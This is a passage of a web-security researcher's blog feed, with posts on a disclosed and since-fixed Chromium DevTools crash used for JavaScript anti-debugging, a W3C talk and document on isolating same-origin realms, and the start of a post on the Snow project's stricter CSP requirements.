&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Key takeaways:&lt;br&gt;
&lt;br&gt;
* For strictly storing self custodial SRP/PK - HWs are safer.&lt;br&gt;
&lt;br&gt;
* (But not for the reasons shared in the paper though).&lt;br&gt;
&lt;br&gt;
* To use these to interact with dApps, a browser must be introduced into the flow.
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
* It’s not necessarily one or the other - BWs can be integrated with HWs for maximum security and interactivity.&lt;br&gt;
&lt;br&gt;
* Need a trustworthy, self custodial BW that integrates with HWs and puts security first?&lt;br&gt;
&lt;br&gt;
Choose MetaMask 🦊&lt;br&gt;
&lt;br&gt;
~ Thank you &lt;a href=&quot;https://x.com/@danfinlay&quot;&gt;@danfinlay&lt;/a&gt; for introducing me to this paper
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Javascript Anti Debugging - Crashing the Devtools [𝕏]</title>
   <link href="https://weizman.github.io//2023/11/14/anti-debug-3/"/>
   <updated>2023-11-14T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/11/14/anti-debug-3</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1724205856332673292&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    THIS WAS MEANT TO BE POSTED 1 MONTH AGO, BEFORE THE OCTOBER 7TH EVENTS 🇮🇱 SOME DETAILS MAY BE OUT OF DATE&lt;br&gt;
    &lt;br&gt;
    Open Chrome devtools console @ &lt;a href=&quot;https://weizmangal.com/awesome-javascript-anti-debugging/NewGenTechniques/ChromiumShadowRootAbuse/poc.html?enable&quot;&gt;https://weizmangal.com/awesome-javascript-anti-debugging&lt;/a&gt; and watch the entire chrome app CRASH @ v114 (or just the tab @ v116) 😈&lt;br&gt;
    &lt;br&gt;
    Another NewGen Anti Debugging technique! 🧵
    &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F-2cFnhaAAAp_eb.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F-2cFnhaAAAp_eb.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Why is this interesting?&lt;br&gt;
    &lt;br&gt;
    Anti Debugging techniques are rather old, but NewGen ones which are more sophisticated can assist attackers to elegantly hide their attacks from victims who might attempt in uncovering them.&lt;br&gt;
    &lt;br&gt;
    Victim opens devtools? → Attacker detects and runs away!&lt;br&gt;
    &lt;span class=&quot;nop nop-end&quot;&gt;&lt;br&gt;
2/6&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Here, combining with other NewGen* techniques, attackers can:&lt;br&gt;
    &lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; Detect debugging attempt&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; Mark user as potentially someone who can uncover the operation&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;3. &lt;/span&gt; Crash the tab&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;4. &lt;/span&gt; Use the mark to avoid attack when page is revisited next time&lt;br&gt;
    &lt;br&gt;
    * What sets NewGens apart from OldGens? &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F-2cGHIbMAA2wLY.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F-2cGHIbMAA2wLY.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Mostly:&lt;br&gt;
    &lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; their sophistication level&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; what attackers can achieve with them&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;3. &lt;/span&gt; How hard they are to discover&lt;br&gt;
    &lt;br&gt;
    Learn more - visit the Awesome JavaScript Anti Debugging list ⭐
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/awesome-javascript-anti-debugging/&quot;&gt;https://weizmangal.com/awesome-javascript-anti-debugging/&lt;/a&gt;
    &lt;br&gt;
    &lt;br&gt;
    I encourage you further to learn more about the previous 2 NewGen techniques:&lt;br&gt;
    &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F-2cGkDagAAB-uS.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F-2cGkDagAAB-uS.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; &lt;a href=&quot;https://weizmangal.com/awesome-javascript-anti-debugging/NewGenTechniques/SourceMappingURL/&quot;&gt;SourceMappingURL&lt;/a&gt; &lt;br&gt;
    &lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; &lt;a href=&quot;https://weizmangal.com/awesome-javascript-anti-debugging/NewGenTechniques/ChromiumDevtoolsScopePane/&quot;&gt; ChromiumDevtoolsScopePane &lt;/a&gt;&lt;br&gt;
    &lt;br&gt;
    Anti debugging techniques might not count as real vulnerabilities, but they matter, because they&apos;re being used by offensive security actors, and they save those from being uncovered &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/awesome-javascript-anti-debugging/NewGenTechniques/SourceMappingURL/&quot;&gt;weizmangal.com/awesome-javasc…&lt;/a&gt;&lt;br&gt;
    &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F-2cHB5bQAAfzGd.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F-2cHB5bQAAfzGd.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    This was responsibly disclosed to Chromium and was decided to not be considered a security bug after being fixed:&lt;br&gt;
    &lt;br&gt;
    &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1465129&quot;&gt;https://bugs.chromium.org/p/chromium/issues/detail?id=1465129&lt;/a&gt;
    &lt;br&gt;
    &lt;br&gt;
    At v114, this crashed the whole Chrome process entirely.&lt;br&gt;
    Since v116, it only crashed the relevant tab.&lt;br&gt;
    Since v118, this problem is fixed.
    &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F-2cHa-bYAAr0p8.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F-2cHa-bYAAr0p8.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The Same Origin Concern - presenting to W3C [𝕏]</title>
   <link href="https://weizman.github.io//2023/10/03/w3c-realms/"/>
   <updated>2023-10-03T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/10/03/w3c-realms</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1709237376269381984&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    Last week we presented to &lt;a href=&quot;https://x.com/@w3c&quot;&gt;@w3c&lt;/a&gt; and advocated for some ideas we believe could enhance security for web apps on behalf of &lt;a href=&quot;https://x.com/@metamask&quot;&gt;@metamask&lt;/a&gt;.&lt;br&gt;
    &lt;br&gt;
    Our session (w/ &lt;a href=&quot;https://x.com/@naugtur&quot;&gt;@naugtur&lt;/a&gt;) focused on &quot;JavaScript Security&quot;.&lt;br&gt;
    Mine focused on what we refer to as the &quot;same origin concern&quot;.&lt;br&gt;
    &lt;br&gt;
    Here&apos;s the gist of it 🧵 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F7huVbfbAAA4Np5.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F7huVbfbAAA4Np5.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    But first, FYI, at the bottom post of this thread you’ll find:&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; 🔗 to the full document where we describe our take on the problem, the solution we attempted at, why it fails and what browsers can do to help&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; 🔗 to the recording of the 10m pitch I gave &lt;a href=&quot;https://x.com/@w3c&quot;&gt;@w3c&lt;/a&gt; about this topic&lt;br&gt;
    👇🏻 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F7huV-VbEAE_WPp.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F7huV-VbEAE_WPp.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;Fortunately, web and browsers continuously evolve towards a composability driven software development future&lt;br&gt;
    &lt;br&gt;
    • While it is good, such methodology bears security risks, where integrated software may introduce malicious code to the composed software, endangering it entirely&quot; &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F7huWpzbgAAXBgD.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F7huWpzbgAAXBgD.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;Therefore, ongoing efforts by security leaders are being made to introduce safety mechanisms to allow apps to unlock composability’s full potential with minimal risk&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;One effort in particular focuses on providing better visibility &amp;amp; control over the flow of the app at runtime, to uncover unexpected behavior in case of it resulting from malicious actors - a most reasonable natural outcome of the difficulty in securing composable web apps&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;However, the road to secure composable software is long and not yet over, as critical infrastructures must continue to evolve accordingly&lt;br&gt;
    &lt;br&gt;
    • This includes browsers, which in order to enable such initiatives might require similar adjustments, to help composed software thrive&quot; &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F7huXoPbkAAl77L.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F7huXoPbkAAl77L.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;Therefore, we wish to focus on one specifically being what we refer to as the “same origin concern”, where we identify a need for some level of protection/isolation of the main realm of the application from any sibling/adjacent realms of the same origin (like in SOP)&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;Not only did we identify this issue, but we also bring a working shim of the solution we imagine, which effectively demonstrates the security hardening we seek for applications against this concern in production&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;Problem is, as part of this effort, we learned that a shim representation of the solution is insufficient in terms of both performance, but most importantly security&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;Which helped us arrive at some conclusions, the main one being that adequately securing this layer of concern performantly can only be done with some help from the browser itself&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    • &quot;In this document we wish to further explain the motivation for this, the problem we encounter, the solution we attempted at and the solution we believe would be best to properly address it&quot;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    For those who are already familiar with my work, we&apos;re basically advocating for Snow JS ❄️ to become a native browser feature (kinda).&lt;br&gt;
    &lt;br&gt;
    If you&apos;re into security for the web and how browsers can help, please consider reading the full document or watching the 10m pitch I gave &lt;a href=&quot;https://x.com/@w3c&quot;&gt;@w3c&lt;/a&gt;👇🏻 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/F7huY-sakAAuIGI.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/F7huY-sakAAuIGI.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    Thanks for all your help &lt;a href=&quot;https://x.com/@mhofman&quot;&gt;@mhofman&lt;/a&gt; &lt;a href=&quot;https://x.com/@naugtur&quot;&gt;@naugtur&lt;/a&gt; &lt;a href=&quot;https://x.com/@jasvir&quot;&gt;@jasvir&lt;/a&gt; &lt;a href=&quot;https://x.com/@pedrofortuna&quot;&gt;@pedrofortuna&lt;/a&gt;&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html&quot;&gt;w3.org/2023/03/secure…&lt;/a&gt;&lt;br&gt;
    &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizmangal.com/content/pdf/The%20same%20origin%20concern.pdf&quot;&gt;weizmangal.com/content/pdf/Th…&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;div&gt;
        &lt;div class=&quot;entity-url-preview&quot;&gt;
            &lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&gt;
                &lt;div class=&quot;border-right align-self-center&quot;&gt;
                    &lt;a target=&quot;_blank&quot; href=&quot;https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html&quot; class=&quot;img-cover&quot;&gt;
                        &lt;img src=&quot;https://www.w3.org/2023/03/secure-the-web-forward/banner.png&quot; loading=&quot;lazy&quot; onerror=&quot;this.src=&apos;/images/sticky-note-regular.png&apos;&quot;&gt;
                    &lt;/a&gt;
                &lt;/div&gt;
                &lt;div class=&quot;flex-grow-1&quot; style=&quot;min-width:0&quot;&gt;
                    &lt;div class=&quot;paragraph&quot;&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html&quot;&gt;
                            &lt;strong&gt;JavaScript realms used to bypass and eliminate web apps security tools - A problem with a WIP solution - Gal Weizman - W3C Secure the Web Forward Workshop&lt;/strong&gt;
                            Bringing together experts to drive developer awareness and adoption of Web security standards and practices
                        &lt;/a&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html&quot;&gt;&lt;small class=&quot;pre-url&quot;&gt;https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html&lt;/small&gt;&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;&lt;hr&gt;
    &lt;a href=&quot;https://x.com/@mhofman&quot;&gt;@mhofman&lt;/a&gt; &lt;a href=&quot;https://x.com/@naugtur&quot;&gt;@naugtur&lt;/a&gt; &lt;a href=&quot;https://x.com/@jasvir&quot;&gt;@jasvir&lt;/a&gt; &lt;a href=&quot;https://x.com/@pedrofortuna&quot;&gt;@pedrofortuna&lt;/a&gt; Learn more by &lt;a href=&quot;https://x.com/@w3cdevs&quot;&gt;@w3cdevs&lt;/a&gt;:&lt;br&gt;
    &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 512px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-0&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1710363364411449767&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1709237376269381984.html&amp;amp;sessionId=5dd3dc4ec378ce4857d4fca17d86aa737a33c5a5&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1710363364411449767&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;a href=&quot;https://x.com/@mhofman&quot;&gt;@mhofman&lt;/a&gt; &lt;a href=&quot;https://x.com/@naugtur&quot;&gt;@naugtur&lt;/a&gt; &lt;a href=&quot;https://x.com/@jasvir&quot;&gt;@jasvir&lt;/a&gt; &lt;a href=&quot;https://x.com/@pedrofortuna&quot;&gt;@pedrofortuna&lt;/a&gt; &lt;a href=&quot;https://x.com/@w3cdevs&quot;&gt;@w3cdevs&lt;/a&gt; 
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The Same Origin Concern</title>
   <link href="https://weizman.github.io//2023/09/28/the-same-origin-concern/"/>
   <updated>2023-09-28T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/09/28/the-same-origin-concern</id>
   <content type="html">&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The following is taken from the &lt;a href=&quot;https://weizmangal.com/content/pdf/The%20same%20origin%20concern.pdf&quot;&gt;official document “The Same Origin Concern”&lt;/a&gt; - &lt;strong&gt;please consider reading the full document&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Fortunately, web and browsers continuously &lt;strong&gt;evolve towards a composability driven software development future.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;While it is good, &lt;strong&gt;such methodology bears great security risks&lt;/strong&gt;, where integrated software may &lt;strong&gt;introduce malicious code to the composed software&lt;/strong&gt;, endangering it entirely.&lt;/li&gt;
&lt;li&gt;Therefore, ongoing efforts by security leaders are being made to introduce safety mechanisms to &lt;strong&gt;allow apps to unlock composability’s full potential with minimal risk.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;One effort in particular focuses on providing better visibility and control over the flow of the app at runtime, to uncover unexpected behavior in the case of it resulting from malicious intentions - a most reasonable &lt;strong&gt;natural outcome of the difficulty in securing composable web apps.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;However, the road to secure composable software is long and yet to be over, as &lt;strong&gt;critical infrastructures must continuously evolve accordingly.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This includes browsers, which in order to enable such initiatives might require similar adjustments, to &lt;strong&gt;help composed software thrive.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Therefore, we wish to focus on one specifically being what we refer to as &lt;strong&gt;the “same origin concern”&lt;/strong&gt;, where we identify a need for some level of protection/isolation of the main realm of the application from any sibling/adjacent realms of the same origin (some subset of what the Same Origin Policy provides for cross origin realms isolation is another way of thinking about it).&lt;/li&gt;
&lt;li&gt;Not only did we identify this issue, but we also bring a working shim of the solution we imagine, which effectively demonstrates the security hardening we seek for applications against this concern in production.&lt;/li&gt;
&lt;li&gt;Problem is,  as part of this effort, we learned that &lt;strong&gt;a shim representation of the solution is insufficient&lt;/strong&gt; in terms of both performance, but most importantly security.&lt;/li&gt;
&lt;li&gt;Which helped us arrive at some conclusions, the main one being that &lt;strong&gt;adequately securing this layer of concern performantly can only be done with some help from the browser itself.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;In this document we wish to further explain the motivation for this, the problem we encounter, the solution we attempted at and the solution we believe would be best to properly address it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Snow stops playing nice - security first at the cost of everything else</title>
   <link href="https://weizman.github.io//2023/08/03/snow-stops-playing-nice/"/>
   <updated>2023-08-03T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/08/03/snow-stops-playing-nice</id>
   <content type="html">&lt;p&gt;&lt;em&gt;Taken from the Pull Request that introduces this significant change &lt;a href=&quot;https://github.com/LavaMoat/snow/pull/133#Motivation&quot;&gt;#133&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;tl;dr - Today marks a big day in the life of &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow&lt;/a&gt;, where we come to the mature realization that in order for the project to stop chasing defensive security it has to take some bold steps at the cost of adoption and functional behaviour.&lt;/em&gt;
&lt;em&gt;Here, I attempt to lay out the process of trying, failing and learning the hard truth the hard way, and what should be our steps forward to find real security for same origin realms.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In hindsight, the &lt;a href=&quot;https://github.com/LavaMoat/snow/pull/118&quot;&gt;#118&lt;/a&gt; effort was wrongly looked at partially.&lt;/p&gt;
&lt;p&gt;Yes, requiring Snow users to integrate CSP (specifically disable &lt;code&gt;unsafe-inline&lt;/code&gt; and same origin &lt;code&gt;object-src&lt;/code&gt;s) to achieve full protection was &lt;strong&gt;the right move&lt;/strong&gt;, but &lt;a href=&quot;https://github.com/LavaMoat/snow/pull/118&quot;&gt;#118&lt;/a&gt; was assuming that with such help from CSP Snow could continue the same “we do anything in our power to allow all sorts of ways of creating same origin realms” vibe.&lt;/p&gt;
